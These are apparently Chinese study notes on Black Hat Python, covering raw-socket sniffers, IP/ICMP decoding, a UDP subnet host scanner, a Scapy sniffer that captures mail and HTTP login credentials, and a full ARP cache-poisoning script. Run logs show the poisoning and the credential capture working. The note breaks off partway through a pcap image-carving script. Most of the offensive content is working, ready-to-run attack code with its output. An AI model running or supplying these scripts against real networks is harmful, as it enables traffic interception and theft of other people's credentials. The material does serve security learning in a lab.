创建原始套接字嗅探器(sniffer.py)

#coding=utf-8
import socket
import os

# 此程序仅能捕获一个数据包

# 监听的主机
host = "192.168.0.196"

# 创建原始套接字,然后绑定在公开接口上
if os.name == "nt":
    socket_protocol = socket.IPPROTO_IP
else:
    socket_protocol = socket.IPPROTO_ICMP

sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 

sniffer.bind((host, 0))
print "正在监听中..."

# 设置在捕获的数据包中包含IP头
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

# 在Windows平台上,我们需要设置IOCTL以启用混杂模式e
if os.name == "nt": 
    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)

# 读取单个数据包
print sniffer.recvfrom(65565)

# 在Windows平台上关闭混杂模式
if os.name == "nt":
    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

执行程序

root@kali:~# python sniffer.py 

开启一个新的终端

root@kali:~# ping www.163.com

执行结果

root@kali:~# python sniffer.py 
正在监听中...
('E\x00\x00T\n\xf7\x00\x00\x80\x01\x14<x\xd1\x8e\x1b\n\n\n\x80\x00\x00)\xe3\x13\xe8\x00\x01\x9d\xe6\xdeZ\x00\x00\x00\x00\x82\x1f\x05\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567', ('120.209.142.27', 0)

3. 解码 IP 层(windows可执行)

创建 windows 端 IP 数据包嗅探解码程序(sniffer_ip_header_decode_windows.py)

#coding=utf-8
import socket
import os
import struct
from ctypes import *

# 程序需要管理员权限
# 在windwos 上测试可以看到 TCP、UDP、ICMP的数据信息

# 监听的主机
host = "192.168.1.3"

# IP 头定义
class IP(Structure):
    _fields_ = [
        ("ihl",             c_ubyte, 4),    #ip head length:头长度
        ("version",         c_ubyte, 4),    #版本
        ("tos",             c_ubyte),       #服务类型
        ("len",             c_ushort),      #ip数据包总长度
        ("id",              c_ushort),      #标识符
        ("offset",          c_ushort),      #片偏移
        ("ttl",             c_ubyte),       #生存时间
        ("protocol_num",    c_ubyte),       #协议数字,应该是协议类型,这里用数字来代表时哪个协议,下面构造函数有设置映射表
        ("sum",             c_ushort),      #头部校验和
        ("src",             c_ulong),       #源ip地址
        ("dst",             c_ulong)        #目的ip地址
    ]

    # __new__(cls, *args, **kwargs)  创建对象时调用,返回当前对象的一个实例;注意:这里的第一个参数是cls即class本身
    def __new__(self, socket_buffer=None):
        return  self.from_buffer_copy(socket_buffer)

    # __init__(self, *args, **kwargs) 创建完对象后调用,对当前对象的实例的一些初始化,无返回值,即在调用__new__之后,根据返回的实例初始化;注意,这里的第一个参数是self即对象本身【注意和new的区别】
    def __init__(self, socket_buffer=None):
        # 协议字段与协议名称的对应
        self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"}

        # 可读性更强的ip地址(转换32位打包的IPV4地址为IP地址的标准点号分隔字符串表示。)
        self.src_address = socket.inet_ntoa(struct.pack("<L", self.src))
        self.dst_address = socket.inet_ntoa(struct.pack("<L", self.dst))

        # 协议类型
        try:
            self.protocol = self.protocol_map[self.protocol_num]
        except:
            self.protocol = str(self.protocol_num)

if  os.name == "nt":
    socket_protocol = socket.IPPROTO_IP
else:
    socket_protocol = socket.IPPROTO_ICMP

sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 
sniffer.bind((host, 0)) 

# 设置在捕获的数据包中包含IP头
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

# 在Windows平台上,我们需要设置IOCTL以启用混杂模式
if os.name == "nt":
    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)

try:
    while True:
        # 读取数据包
        raw_buffer =  sniffer.recvfrom(65565)[0]

        # 将缓冲区的前20个字节按IP头进行解析
        ip_header = IP(raw_buffer[0:20])

        # 输出协议和通信双方IP地址
        print  "Protocol: %s %s ->  %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)

# 处理CTRL-C
except  KeyboardInterrupt:

    # 如果运行再Windows上,关闭混杂模式
    if os.name == "nt":
        sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

执行程序访问浏览器

PS C:\Users\John\chapter3> python.exe .\sniffer_ip_header_decode.py
Protocol: TCP 192.168.1.3 ->  183.232.231.172
Protocol: TCP 192.168.1.3 ->  183.232.231.172
Protocol: TCP 192.168.1.3 ->  183.232.231.173
Protocol: TCP 192.168.1.3 ->  183.232.231.173
Protocol: TCP 192.168.1.3 ->  183.232.231.172
Protocol: TCP 192.168.1.3 ->  183.232.231.172

上面的程序在 linux 下运行报错

https://stackoverflow.com/questions/29306747/python-sniffing-from-black-hat-python-book

创建 linux 端 IP 数据包嗅探解码程序(sniffer_ip_header_decode_linux.py)

#!/usr/bin/python
#coding=utf-8
import socket
import os
import struct
from ctypes import *

# 程序需要 root 权限
# 在 linux 上测试只能看到 ICMP 的数据信息

#监听的主机
host = "192.168.1.3"

#IP头定义
class IP(Structure):
    """docstring for IP"""
    _fields_ = [
        ("ihl",         c_ubyte, 4),
        ("version",     c_ubyte, 4),
        ("tos",         c_ubyte),
        ("len",         c_ushort),
        ("id",          c_ushort),
        ("offset",      c_ushort),
        ("ttl",         c_ubyte),
        ("protocol_num",    c_ubyte),
        ("sum",         c_ushort),
        ("src",         c_uint32),
        ("dst",         c_uint32)
    ]

    def __new__(self,socket_buffer=None):
        return self.from_buffer_copy(socket_buffer)

    def __init__(self, socket_buffer=None):
        #协议字段与协议名称对应
        self.protocol_map = {1:"ICMP",6:"TCP",17:"UDP"}

        #可读性更强的IP地址
        self.src_address = socket.inet_ntoa(struct.pack("@I",self.src))
        self.dst_address = socket.inet_ntoa(struct.pack("@I",self.dst))

        #协议类型
        try:
            self.protocol = self.protocol_map[self.protocol_num]
        except:
            self.protocol = str(self.protocol_num)

#下面的代码类似于之前的例子
if os.name == "nt":
    socket_protocol = socket.IPPROTO_IP
else:
    socket_protocol = socket.IPPROTO_ICMP

sniffer = socket.socket(socket.AF_INET,socket.SOCK_RAW,socket_protocol)

sniffer.bind((host,0))
sniffer.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)

if os.name == "nt":
    sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_ON)

try:
    while True:

        #读取数据包
        raw_buffer = sniffer.recvfrom(65565)[0]

        #将缓冲区的前20个字节按IP头进行解析
        ip_header = IP(raw_buffer[0:20])

        #输出协议和通信双方IP地址
        print "Protocol : %s %s -> %s"%(ip_header.protocol,ip_header.src_address,ip_header.dst_address)
#处理CTRL-C
except KeyboardInterrupt:

    #如果运行在Windows上,关闭混杂模式
    if os.name == "nt":
        sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_OFF)

执行程序访问浏览器

root@kali:~# python 5566.py 
Protocol : ICMP 120.209.142.27 -> 10.10.10.128
Protocol : ICMP 120.209.142.27 -> 10.10.10.128
Protocol : ICMP 120.209.142.27 -> 10.10.10.128
Protocol : ICMP 120.209.142.27 -> 10.10.10.128
Protocol : ICMP 120.209.142.27 -> 10.10.10.128
Protocol : ICMP 120.209.142.27 -> 10.10.10.128

4. 解码 ICMP 层

* ICMP 类型列表*

TYPE    CODE    Description                                                                         
0       0       Echo Reply——回显应答(Ping应答)                                                    
3       0       Network Unreachable——网络不可达                                                      
3       1       Host Unreachable——主机不可达                                                     
3       2       Protocol Unreachable——协议不可达                                                 
3       3       Port Unreachable——端口不可达                                                     
3       4       Fragmentation needed but no frag. bit set——需要进行分片但设置不分片比特               
3       5       Source routing failed——源站选路失败                                                   
3       6       Destination network unknown——目的网络未知                                         
3       7       Destination host unknown——目的主机未知                                                
3       8       Source host isolated (obsolete)——源主机被隔离(作废不用)                           
3       9       Destination network administratively prohibited——目的网络被强制禁止                  
3       10      Destination host administratively prohibited——目的主机被强制禁止                 
3       11      Network unreachable for TOS——由于服务类型TOS,网络不可达                            
3       12      Host unreachable for TOS——由于服务类型TOS,主机不可达                               
3       13      Communication administratively prohibited by filtering——由于过滤,通信被强制禁止    
3       14      Host precedence violation——主机越权                                                 
3       15      Precedence cutoff in effect——优先中止生效                                         
4       0       Source quench——源端被关闭(基本流控制)         
5       0       Redirect for network——对网络重定向         
5       1       Redirect for host——对主机重定向        
5       2       Redirect for TOS and network——对服务类型和网络重定向        
5       3       Redirect for TOS and host——对服务类型和主机重定向       
8       0       Echo request——回显请求(Ping请求)                                                  
9       0       Router advertisement——路由器通告                             
10      0       Route solicitation——路由器请求                               
11      0       TTL equals 0 during transit——传输期间生存时间为0                                 
11      1       TTL equals 0 during reassembly——在数据报组装期间生存时间为0                          
12      0       IP header bad (catchall error)——坏的IP首部(包括各种差错)                          
12      1       Required options missing——缺少必需的选项                                           
13      0       Timestamp request (obsolete)——时间戳请求(作废不用)                               
14              Timestamp reply (obsolete)——时间戳应答(作废不用)                                 
15      0       Information request (obsolete)——信息请求(作废不用)                              
16      0       Information reply (obsolete)——信息应答(作废不用)                                    
17      0       Address mask request——地址掩码请求                                                    
18      0       Address mask reply——地址掩码应答

解析

type=3 且 code=3 就说明主机存在。因为发送UDP数据到关闭的端口会返回 type=3 且 code=3 的 ICMP 包。如果主机不存在,是不会有回复的。

ICMP 内容中包含的信息非常繁杂,但每条信息都会包含三个固定的字段:数据类型、代码值、校验和。

数据类型和代码值字段包含了主机接收到的 ICMP 信息的类别,他们揭示了正确解码 ICMP 信息的方法

扫描器的目标是查找类型值为3,代码值为3 的 ICMP 数据包

目标不可达的信息包中,类型值占8位,代码值占8位,头部校验值占16位。

目标主机在发送这种数据包时,UDP 数据包也包含在这个 ICMP 数据中。

创建 ICMP 数据包嗅探解码程序(sniffer_with_icmp_windows.py)

coding=utf-8

import socket
import os
import struct
from ctypes import *

# 监听主机,即监听那个网络接口,下面的ip为我的kali的ip
host = "10.10.10.145"

# ip头定义
class IP(Structure):
    _fields_ = [
        ("ihl",             c_ubyte, 4),    #ip head length:头长度
        ("version",         c_ubyte, 4),    #版本
        ("tos",             c_ubyte),       #服务类型
        ("len",             c_ushort),      #ip数据包总长度
        ("id",              c_ushort),      #标识符
        ("offset",          c_ushort),      #片偏移
        ("ttl",             c_ubyte),       #生存时间
        ("protocol_num",    c_ubyte),       #协议数字,应该是协议类型,这里用数字来代表时哪个协议,下面构造函数有设置映射表
        ("sum",             c_ushort),      #头部校验和
        ("src",             c_ulong),       #源ip地址
        ("dst",             c_ulong)        #目的ip地址
    ]

    # 创建对象时调用,返回当前对象的一个实例;注意:这里的第一个参数是cls即class本身
    # __new__(cls, *args, **kwargs)  
    def __new__(self, socket_buffer=None):
        return  self.from_buffer_copy(socket_buffer)

    # 创建完对象后调用,对当前对象的实例的一些初始化,无返回值,即在调用__new__之后,根据返回的实例初始化;注意,这里的第一个参数是self即对象本身【注意和new的区别】
    # __init__(self, *args, **kwargs) 
    def __init__(self, socket_buffer=None):
        # 协议字段与协议名称的对应
        self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"}

        # 可读性更强的ip地址(转换32位打包的IPV4地址为IP地址的标准点号分隔字符串表示。)
        self.src_address = socket.inet_ntoa(struct.pack("<L", self.src))
        self.dst_address = socket.inet_ntoa(struct.pack("<L", self.dst))

        # 协议类型
        try:
            self.protocol = self.protocol_map[self.protocol_num]
        except:
            self.protocol = str(self.protocol_num)


class ICMP(Structure):
    #
    _fields_ = [
        ("type",            c_ubyte),       #类型
        ("code",            c_ubyte),       #代码值
        ("checksum",        c_ubyte),       #头部校验和
        ("unused",          c_ubyte),       #未使用
        ("next_hop_mtu",    c_ubyte)        #下一跳的MTU
    ]

    def __new__(self, socket_buffer):
        return self.from_buffer_copy(socket_buffer)

    def __init__(self, socket_buffer):
        pass


if  os.name == "nt":
    socket_protocol = socket.IPPROTO_IP
else:
    socket_protocol = socket.IPPROTO_ICMP

sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)   

sniffer.bind((host, 0)) 

# 设置在捕获的数据包中包含IP头
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

# 在Windows平台上,我们需要设置IOCTL以启用混杂模式
if os.name == "nt":
    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)

try:
    while True:
        # 读取数据包
        raw_buffer =  sniffer.recvfrom(65565)[0]

        # 将缓冲区的前20个字节按IP头进行解析
        ip_header = IP(raw_buffer[0:20])

        # 输出协议和通信双方IP地址
        print  "Protocol: %s %s ->  %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)

        # 如果为ICMP,进行处理
        if ip_header.protocol == "ICMP":

            # 计算ICMP包的起始位置,并获取ICMP包的数据
            # IP头长度基于 ihl 字段,它代表32位(即4字节)长的分片的个数。将这个字段乘以4,就能计算出 IP 头的大小及数据中下个网络层(这里是 ICMp 开始的位置)
            offset = ip_header.ihl * 4      
            buf = raw_buffer[offset:offset+sizeof(ICMP)]

            # 解析ICMP数据
            icmp_header = ICMP(buf)

            # 输出类型值和代码值
            print "ICMP -> Type: %d Code: %d" % (icmp_header.type, icmp_header.code)

# 处理CTRL-C
except  KeyboardInterrupt:

    # 如果运行再Windows上,关闭混杂模式
    if os.name == "nt":
        sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

运行结果

PS C:\Users\John\chapter3> python .\sniffer_with_icmp.py
Protocol: ICMP 192.168.1.3 ->  120.209.142.27
ICMP -> Type: 8 Code: 0
Protocol: UDP 120.204.17.17 ->  192.168.1.3
Protocol: UDP 120.204.17.17 ->  192.168.1.3
Protocol: ICMP 192.168.1.3 ->  120.209.142.27
ICMP -> Type: 8 Code: 0
Protocol: ICMP 192.168.1.3 ->  120.209.142.27
ICMP -> Type: 8 Code: 0

5. UDP 主机发现扫描器

安装 netaddr 模块

pip install netaddr

创建主机发现扫描器程序(udp_scanner_windows.py)

#coding=utf-8

import socket
import os
import struct
import threading
import time
import sys
from netaddr import IPNetwork,IPAddress
from ctypes import *

# 监听主机
host = "192.168.1.3"

# 扫描的目标子网
# subnet = "192.168.1.0/24"
# 没有命令行参数,默认192.168.1.0/24

if len(sys.argv) == 1:  # 没有参数
    subnet = "192.168.1.0/24"
else:
    subnet = sys.argv[1]

# 自定义的字符串,我们将在ICMP响应中进行核对
magic_message = "PYTHONRULES!"

# 批量发送UDP数据包
def udp_sender(subnet, magic_message):
    time.sleep(5)   #可以说程序暂停5秒吧
    # 建立一个socket对象(SOCK_DGRAM:UDP客户端)
    sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    for ip in IPNetwork(subnet):
        try:
            # 尝试发送magic_message这个消息到子网的每个ip,还用了个不怎么可能用的65212端口
            sender.sendto(magic_message, ("%s" % ip, 65212))
        except:
            pass    #代表什么也不做

# ip头定义
class IP(Structure):
    _fields_ = [
        ("ihl",             c_ubyte, 4),    #ip head length:头长度
        ("version",         c_ubyte, 4),    #版本
        ("tos",             c_ubyte),       #服务类型
        ("len",             c_ushort),      #ip数据包总长度
        ("id",              c_ushort),      #标识符
        ("offset",          c_ushort),      #片偏移
        ("ttl",             c_ubyte),       #生存时间
        ("protocol_num",    c_ubyte),       #协议数字,应该是协议类型,这里用数字来代表时哪个协议,下面构造函数有设置映射表
        ("sum",             c_ushort),      #头部校验和
        ("src",             c_ulong),       #源ip地址
        ("dst",             c_ulong)        #目的ip地址
    ]

    # __new__(cls, *args, **kwargs)  创建对象时调用,返回当前对象的一个实例;注意:这里的第一个参数是cls即class本身
    def __new__(self, socket_buffer=None):
        return  self.from_buffer_copy(socket_buffer)

    # __init__(self, *args, **kwargs) 创建完对象后调用,对当前对象的实例的一些初始化,无返回值,即在调用__new__之后,根据返回的实例初始化;注意,这里的第一个参数是self即对象本身【注意和new的区别】
    def __init__(self, socket_buffer=None):
        # 协议字段与协议名称的对应
        self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"}

        # 可读性更强的ip地址(转换32位打包的IPV4地址为IP地址的标准点号分隔字符串表示。)
        self.src_address = socket.inet_ntoa(struct.pack("<L", self.src))
        self.dst_address = socket.inet_ntoa(struct.pack("<L", self.dst))

        # 协议类型
        try:
            self.protocol = self.protocol_map[self.protocol_num]
        except:
            self.protocol = str(self.protocol_num)


class ICMP(Structure):
    #
    _fields_ = [
        ("type",            c_ubyte),       #类型
        ("code",            c_ubyte),       #代码值
        ("checksum",        c_ubyte),       #头部校验和
        ("unused",          c_ubyte),       #未使用
        ("next_hop_mtu",    c_ubyte)        #下一跳的MTU
    ]

    def __new__(self, socket_buffer):
        return self.from_buffer_copy(socket_buffer)

    def __init__(self, socket_buffer):
        pass


if  os.name == "nt":
    socket_protocol = socket.IPPROTO_IP
else:
    socket_protocol = socket.IPPROTO_ICMP

sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)

sniffer.bind((host, 0))

# 设置在捕获的数据包中包含IP头
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

# 在Windows平台上,我们需要设置IOCTL以启用混杂模式
if os.name == "nt":
    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)

# 开启多线程发送udp数据包
t = threading.Thread(target=udp_sender, args=(subnet, magic_message))
t.start()

try:
    while True:
        # 读取数据包
        raw_buffer =  sniffer.recvfrom(65565)[0]

        # 将缓冲区的前20个字节按IP头进行解析
        ip_header = IP(raw_buffer[0:20])

        # 输出协议和通信双方IP地址
        #print  "Protocol: %s %s ->  %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)

        # 如果为ICMP,进行处理
        if ip_header.protocol == "ICMP":

            # 计算ICMP包的起始位置,并获取ICMP包的数据
            offset = ip_header.ihl * 4      #ihl是头部长度,代表32位(即4字节)长的分片的个数 [我的理解是因为一个字节表示一个符号,所以这里的offset要搞成以字节为单位的,为的是下一句的提取数据]
            buf = raw_buffer[offset:offset+sizeof(ICMP)]

            # 解析ICMP数据
            icmp_header = ICMP(buf)

            #print "ICMP -> Type: %d Code: %d" % (icmp_header.type, icmp_header.code)

            # 检查类型和代码值是否都为2
            if icmp_header.type == 3 and icmp_header.code == 3:
                # 确认响应的主机再我们的目标子网之内
                if IPAddress(ip_header.src_address) in IPNetwork(subnet):
                    # 确认ICMP包中包含我们发送的自定义的字符串
                    if raw_buffer[len(raw_buffer) - len(magic_message):] == magic_message:
                        print "Host Up: %s" % ip_header.src_address



# 处理CTRL-C
except  KeyboardInterrupt:

    # 如果运行再Windows上,关闭混杂模式
    if os.name == "nt":
        sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

运行结果

PS C:\Users\John\Chapter3> python .\scanner.py
Host Up: 192.168.1.3

第四章 Scapy:网络的掌控者

1. 窃取 Email 认证

安装 scapy

pip install scapy

使用 scapy

Quick demo : an interactive session

Use Scapy to build your own tools

sniff() 函数

sniff(filter="",iface="any",prn=function,count=N) 

filter 参数允许我们对Scapy嗅探的数据包指定一个BPF(Wireshark类型)的过滤器, 也可以留空以嗅探所有的数据包。例如,如果需要嗅探所有的HTTP数据包,你可以使用tcp port 80的BPF过滤。

iface参数设置嗅探器所要嗅探的网卡; 如果留空, 则对所有的网卡进行嗅探。

prn 参数指定嗅探到符合过滤器条件的数据包时所调用的回调函数,这个回调函数以接收到的数据包对象作为唯一的参数。

count参数指定你需要嗅探的数据包的个数;如果留空,Scapy默认为嗅探无限个。

创建 scapy 测试嗅探程序(scapy_sniffer.py)

#coding=utf-8
from scapy.all import *

# 定义数据包回调函数,接收嗅探到的每个数据包
def packet_callback(packet):
    # 输出数据包内容
    print packet.show()

# 开启嗅探器
sniff(prn=packet_callback, count=1)

运行结果

root@kali:~# python scapy_sniffer.py 
WARNING: No route found for IPv6 destination :: (no default route?)

###[ Ethernet ]###
  dst       = 00:0c:29:8d:cb:6e
  src       = 00:50:56:c0:00:08
  type      = 0x800
###[ IP ]###
     version   = 4L
     ihl       = 5L
     tos       = 0x0
     len       = 76
     id        = 18778
     flags     = DF
     frag      = 0L
     ttl       = 128
     proto     = tcp
     chksum    = 0x88bd
     src       = 10.10.10.1
     dst       = 10.10.10.128
     \options   \
###[ TCP ]###
        sport     = 61165
        dport     = ssh
        seq       = 857680638
        ack       = 1642314968
        dataofs   = 5L
        reserved  = 0L
        flags     = PA
        window    = 2049
        chksum    = 0xa27e
        urgptr    = 0
        options   = []
###[ Raw ]###
           load      = '\x00\x00\x00\x10\x96eq\xf6h\x1bT\xfd\xeewj\xf5\x88\x0f\xe9\x1d[\xdca\xff\x87\t\x10\xac\rq\xae\x8f!\xe8\xad\x1d'

创建窃取 email 认证的程序(mail_sniffer.py)

#coding=utf-8
from scapy.all import *

# 定义数据包回调函数
def packet_callback(packet):
    # 当回调函数运行的时候,首先确认数据是否有负载
    if packet[TCP].payload:
        mail_packet = str(packet[TCP].payload)
        # 检查负载是否包含邮件协议中典型的 USER 和 PASS 命令
        if "user" in mail_packet.lower() or "pass" in mail_packet.lower():
            # 如果检测到认证字符串,则输出数据包发送的目标服务器地址及数据包中包含的实际内容
            print "[*] Server: %s" % packet[IP].dst
            print "[*] %s" % packet[TCP].payload
    # print packet.show()

# 开启嗅探器(对常见电子邮件端口进行嗅探110(POP3),25(SMTP),143(IMAP),.
# store=0:不在内存中保留原始数据包,长时间嗅探的话不会占用太多内存
sniff(filter="tcp port 110 or tcp port 25 or tcp port 143 or tcp port 80 or tcp port 443", prn=packet_callback, store=0)

执行程序打开监听

root@kali:~# python mail_sniffer.py

登陆 pop3 服务器

root@kali:~# telnet pop3.163.com 110
Trying 123.125.50.29...
Connected to pop3.163.com.
Escape character is '^]'.
+OK Welcome to coremail Mail Pop3 Server (163coms[b62aaa251425b4be4eaec4ab4744cf47s])

username test
password 123456

嗅探结果

root@kali:~# python mail_sniffer.py 
[*] Server: 123.125.50.29
[*] username test

[*] Server: 123.125.50.29
[*] password 123456

浏览器访问 dvwa 登陆页面测试结果

root@kali:~# python mail_sniffer.py 
WARNING: No route found for IPv6 destination :: (no default route?)
[*] Server: 10.10.10.129
[*] GET /dvwa/logout.php HTTP/1.1
Host: 10.10.10.129
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.129/dvwa/index.php
Cookie: security=high; PHPSESSID=1e0749083b71616f2895157070761ecb
Connection: keep-alive
Upgrade-Insecure-Requests: 1

2. 利用 Scapy 进行 ARP 缓存投毒

查看网关 IP 和 MAC 地址

C:\Users\John>ipconfig
Windows IP 配置
以太网适配器 本地连接:
   连接特定的 DNS 后缀 . . . . . . . : localdomain
   本地链接 IPv6 地址. . . . . . . . : fe80::f4bc:
   IPv4 地址 . . . . . . . . . . . . : 10.10.10.13
   子网掩码  . . . . . . . . . . . . : 255.255.255
   默认网关. . . . . . . . . . . . . : 10.10.10.2

C:\Users\John>arp -a
接口: 10.10.10.130 --- 0xb
  Internet 地址         物理地址              类型
  10.10.10.2            00-50-56-ff-b4-7b     动态

编写 ARP 投毒脚本(arper.py)

#coding=utf-8
from scapy.all import *
import os
import sys
import threading

interface   = "eth0"              #要嗅探的网卡
target_ip   = "10.10.10.130"      #目标ip,这里测试的是另外一台虚拟机win7
gateway_ip  = "10.10.10.2"        #网关ip,这里是虚拟机的网关
packet_count = 1000
poisoning    = True

def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):

    # 以下代码调用send函数的方式稍有不同
    print "[*] Restoring target..."
    send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)
    send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5)

def get_mac(ip_address):
    # srp函数(发送和接收数据包,发送指定ARP请求到指定IP地址,然后从返回的数据中获取目标ip的mac)
    responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2,retry=10)

    # 返回从响应数据中获取的MAC地址
    for s,r in responses:
        return r[Ether].src

    return None

def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
    global poisoning

    # 构建欺骗目标的ARP请求(),这里没设置hwsrc,默认就是本机咯
    # 简单来说:告诉被攻击机器,本机(攻击机)的mac是网关,就是攻击者的机器是网关
    poison_target = ARP()
    poison_target.op = 2                # 响应报文
    poison_target.psrc = gateway_ip     # 模拟是网关发出的, 其实是我们的机器发出的
    poison_target.pdst = target_ip      # 目的地是目标机器
    poison_target.hwdst = target_mac    # 目标的物理地址是目标机器的mac

    # 构建欺骗网关的ARP请求(),这里没设置hwsrc,默认就是本机咯
    poison_gateway = ARP()
    poison_gateway.op = 2               # 响应报文
    poison_gateway.psrc = target_ip     # 模拟是目标机器发出的,
    poison_gateway.pdst = gateway_ip    # 目的地是网关
    poison_gateway.hwdst = gateway_mac  # 目标的物理地址是网关的mac

    print "[*] Beginning the ARP poison. [CTRL-C to stop]"

    while poisoning:
        # 开始发送ARP欺骗包(投毒)
        send(poison_target)
        send(poison_gateway)
        # 停两秒
        time.sleep(2)

    print "[*] ARP poison attack finished."

    return

# 设置嗅探的网卡
conf.iface = interface

# 关闭输出
conf.verb  = 0

print "[*] Setting up %s" % interface
# 获取网关mac
gateway_mac = get_mac(gateway_ip)

if gateway_mac is None:
    print "[!!!] Failed to get gateway MAC. Exiting."
    sys.exit(0)
else:
    print "[*] Gateway %s is at %s" % (gateway_ip,gateway_mac)
# 获取目标(被攻击的机器)mac
target_mac = get_mac(target_ip)

if target_mac is None:
    print "[!!!] Failed to get target MAC. Exiting."
    sys.exit(0)
else:
    print "[*] Target %s is at %s" % (target_ip,target_mac)

# 启动ARP投毒(欺骗)线程
poison_thread = threading.Thread(target=poison_target, args=(gateway_ip, gateway_mac,target_ip,target_mac))
poison_thread.start()

try:
    print "[*] Starting sniffer for %d packets" % packet_count

    bpf_filter  = "ip host %s" % target_ip  # 过滤器
    packets = sniff(count=packet_count,filter=bpf_filter,iface=interface)

except KeyboardInterrupt:
    pass

finally:
    # 将捕获到的数据包输出到文件
    print "[*] Writing packets to arper.pcap"
    wrpcap('arper.pcap',packets)

    poisoning = False

    # 等待投毒进程退出
    time.sleep(2)

    # 还原网络配置
    restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
    sys.exit(0)

添加路由转发功能,否则被欺骗的客户端机器无法正常上网

root@kali:~# vim /etc/sysctl.conf
net.ipv4.ip_forward=1

执行程序

root@kali:~# python arper.py 
WARNING: No route found for IPv6 destination :: (no default route?)
[*] Setting up eth0
[*] Gateway 10.10.10.2 is at 00:50:56:ff:b4:7b
[*] Target 10.10.10.130 is at 00:0c:29:17:7d:c1
[*] Beginning the ARP poison. [CTRL-C to stop]
[*] Starting sniffer for 1000 packet

查看投毒结果

win7 上查看 arp 缓存

C:\Users\John>arp -a
接口: 10.10.10.130 --- 0xb
  Internet 地址         物理地址              类型
  10.10.10.2            00-0c-29-8d-cb-6e     动态
  10.10.10.128          00-0c-29-8d-cb-6e     动态
  10.10.10.254          00-50-56-f1-44-90     动态

对比发现,默认网关 10.10.10.2 的 MAC 地址 由 00-50-56-ff-b4-7b 变为 00-0c-29-8d-cb-6e

可以通过 wireshark 抓包分析受害者机器的网络流量

root@kali:~# wireshark

3. 处理 PCAP 文件

opencv:计算机图像处理工具,可以对提取的图像进行处理,对图像中包含人脸的部分进行检测,这样能缩小选择图片的范围,找到感兴趣的东西。

安装 opencv

apt-get install python-opencv python-numpy python-scipy

编写脚本检测人脸图像(pic_carver.py)

#coding=utf-8
import re
import zlib
import cv2
from scapy.all import *

pictures_directory = "./pictures/"
faces_directory = "./faces/"
pcap_file = "test.pcap"

# get_http_headers()处理原始的 HTTP 流,使用正则表达式对头部进行了分割。
def get_http_headers(http_payload):
    try:
        #如果为http流量,提取http头
        headers_raw = http_payload[:http_payload.index("\r\n\r\n")+2]

        #对http头进行切分
        headers = dict(re.findall(r"(?P<name>.*?):(?P<value>.*?)\r\n", headers_raw))

    except:
        return None

    if "Content-Type" not in headers:
        return None

    return headers

# extract_image() 解析 HTTP 头,检测 HTTP 响应中是都包含图像文件。
def extract_image(headers, http_payload):
    image = None
    image_type = None

    try:
        # 如果检测到 Content-Type 字段中包含 image 的 MIME 类型,则对字段值进行分割,提取图像类型
        if "image" in headers['Content-Type']:
            #获取图像类型和图像数据
            image_type = headers['Content-Type'].split("/")[1]
            image = http_payload[http_payload.index("\r\n\r\n")+4:]
            #如果数据进行了压缩则解压
            try:
                if "Content-Encoding" in headers.keys():
                    if headers['Content-Encoding'] == "gzip":
                        image = zlib.decompress(image, 16+zlib.MAX_WBITS)
                    elif headers['Content-Encoding'] == "deflate":
                        image = zlib.decompress(image)
            except:
                pass
    except:
        return None, None

    return image,image_type

def face_detect(path, file_name):
    # 读取图像
    img = cv2.imread(path)
    # 对图像进行分类算法检测,此处只能检测正面。有的分类算法可以检测侧面
    cascade = cv2.CascadeClassifier("haarcascade_frontalface_alt.xml")
    rects = cascade.detectMultiScale(img, 1.3, 4, cv2.cv.CV_HAAR_SCALE_IMAGE, (20,20))

    if len(rects) == 0:
        return False

    rects[:, 2:] += rects[:, :2]

    # 对图像中的人脸进行高亮的显示处理
    # 检测到人脸后,会返回图像人脸所在的一个长方形的区域。
    for x1, y1, x2, y2 in rects:
        cv2.rectangle(img, (x1,y1), (x2,y2), (127,255,0), 2)
    # 将结果写入文件
    cv2.imwrite("%s/%s-%s" (faces_directory, pcap_file, file_name), img)
    return True

def http_assembler(pcap_file):

    carved_images = 0
    faces_detected = 0

